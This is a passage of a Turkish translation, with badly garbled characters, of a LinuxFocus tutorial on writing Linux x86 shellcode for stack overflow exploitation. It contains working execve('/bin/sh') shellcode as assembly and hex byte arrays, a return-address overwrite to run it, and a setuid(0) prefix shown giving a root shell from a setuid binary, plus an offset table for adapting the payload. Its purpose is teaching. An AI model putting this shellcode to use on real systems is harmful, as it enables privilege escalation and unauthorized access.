birlikte bu kopyalar null karakterini bulur bulmaz hemen duracakt�r.Daha sonra
bizim kodumuz olmayacakt�r.Birka� oyun kullanarak null byte'lar�n� yazmay�
engelleyebiliriz.�rne�in talimat
movl $0x00, 0x0c(%esi)will be replaced with
xorl %eax, %eax movl %eax, %0x0c(%esi)Bu �rnek null byte'�n�n kullan�l���n� g�steriyor.Bununla birlikte baz� talimatlar�n heksedesimale �evirileri ortaya ��kmaktad�r.�rne�in
_exit(0)
sistem �a�r�s� ve di�erleri aras�nda ayr�m
yapmakm i�in %eax
kay�t de�erinin 1 olmas� gereklidir.
Di�er yandan "/bin/sh
" string'i null byte ile son bulmas�
gerekmektedir.Biz kabuk kodunu olu�tururken bir tane koyabiliriz fakat bu
program�n i�ine konacak mekanizmaya ba�l�d�r.Bu null byte son uygulamada
g�r�nmeyebilir :
/* movb only works on one byte */ /* this instruction is equivalent to */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
�imdi kabuk kodunu olu�turmak i�in her�eye sahibiz :
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* Getting /bin/sh address*/ popl %esi /* Writing it as first item in the array */ movl %esi,0x8(%esi) /* Writing NULL as second item in the array */ xorl %eax,%eax movl %eax,0xc(%esi) /* Putting the null byte at the end of the string */ movb %eax,0x7(%esi) /* execve() function */ movb $0xb,%al /* String to execute in %ebx */ movl %esi, %ebx /* Array arguments in %ecx */ leal 0x8(%esi),%ecx /* Array environment in %edx */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null return code */ xorl %ebx,%ebx /* _exit() function : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4
shellcode4.c
" ile kod derlenir. "objdump
--disassemble shellcode4
" komutu yard�m�yla bizim binary'imiz (ikili
taban�m�z) daha fazla null byte tutmazlar :
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
Veri 80483c1 adresinden sonra gelir ve talimatlar� ifade etmez, fakat
"/bin/sh
" string karakterleri (in hexadécimal, s�ra
2f 62 69 6e 2f 73 68 00
)ve rasgele byte'lar.Kod ba�ka s�f�r
tutmaz sadece null karakterini tutar string'in sonunda 80483c8.
�imdi program�m�z� test edelim :
$ ./shellcode4 Segmentation fault (core dumped) $
Ooops!�ok iyi bir sonu� de�il.E�er bit �eklinde d���n�rsek haf�za
alan�n�ndaki main()
fonksiyonu buluruz.(�rne�in
text
alan�ndan bahsedildimakalenin ba��nda) sadece-oku.Kabuk kodu
bunu de�i�tiremez.Ne yaapabiliriz kabuk kodunu test etmek i�in?Sadece-oku
problemini ��zmek i�in kabuk kodu veri alan�na konulmas� gereklidir.
Gelin bir array koyal�m global de�i�ken gibi davranan.Bir ba�ka oyun da kabuk
kodunu �al��t�rabilsin main()
fonksiyonu ile y���tta bulunan geri
d�n���m adresini de�i�tirelim.Unutmay�n ki main
fonksiyonu
bir "standard" rutindirve kodun bir par�as� olarak tan�mlan�r.Geri d�n��
adresi karakterlerin array'leri y���t�n en alt�nda yer ald��� zaman tekrar
yaz�l�r.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 will behave as a 2 words offset */ /* (i.e. 8 bytes) to the top of the stack : */ /* - the first one for the reserved word for the local variable */ /* - the second one for the saved %ebp register */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
Now, we can test our shellcode :
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
Hatta shellcode5
program�n� da y�kleyelim.UID
root kural�m ve kabu�u dataileb kontrol edelim :
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
Bu kabuk kodu bir bak�mdan s�n�rl�d�r (evet, k�t� de�il biraz byte ile).�rne�in,test program�m�z ��yle olursa :
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }uygulaman�n UID etkilerini sabitledik daha �nceki makalede belirtti�imiz gibi.�imdi kabuk ayr�cal�ks�z �al��abilir :
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $Bununla birlikte
seteuid(getuid())
talimat� koruma
i�in �ok etkili de�ildir. setuid(0);
kayd� kabuk kodunun
ba�lang�c�na e�tir do�ru linkleri EUID'ye almak i�in :
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";Bunu bizim daha �nceki kabuk koduna indirgedi�imizde �rne�imiz :
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }�imdi nas�l �al��t���n� kontrol edelim :
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $Son �rnekte g�r�ld��� gibi kabu�a fonksiyon eklemek m�mk�nd�r. ,�rne�in dizinden ��kmak i�in
chroot()
fonksiyonu kullanmak gereklidir veye soket kullanarak
uzaktan kabu�a ula�mak gereklidir.
Bu tip de�i�iklikler bazen baz� byte'lar�n de�erine adapte olmay� ima eder. :
eb XX |
<subroutine_call> |
XX = number of bytes to reach <subroutine_call> |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = position of the second item in the array, here, having a NULL value. |
88 46 XX |
movb %al,XX(%esi) |
XX = position of the end of string '\0'. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = offset to reach the first item in the argument array and to
put it in the %ecx register |
8d 56 XX |
leal XX(%esi),%edx |
XX = offset to reach the second item in the argument array and to
put it in the %edx register |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian) |
Yakla��k 40 byte program yazd�k ve bunlar harici komutlarla �al��abilirler. Son �rneklerimiz y���tlar�n nas�l par�alanabildi�i konusunda fikir vermektedirler.Bu mekanizma �zerindeki ayr�nt�lar bir sonraki makalede yer almaktad�r...
|
G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz |
�eviri bilgisi:
|
2001-03-17, generated by lfparser version 2.9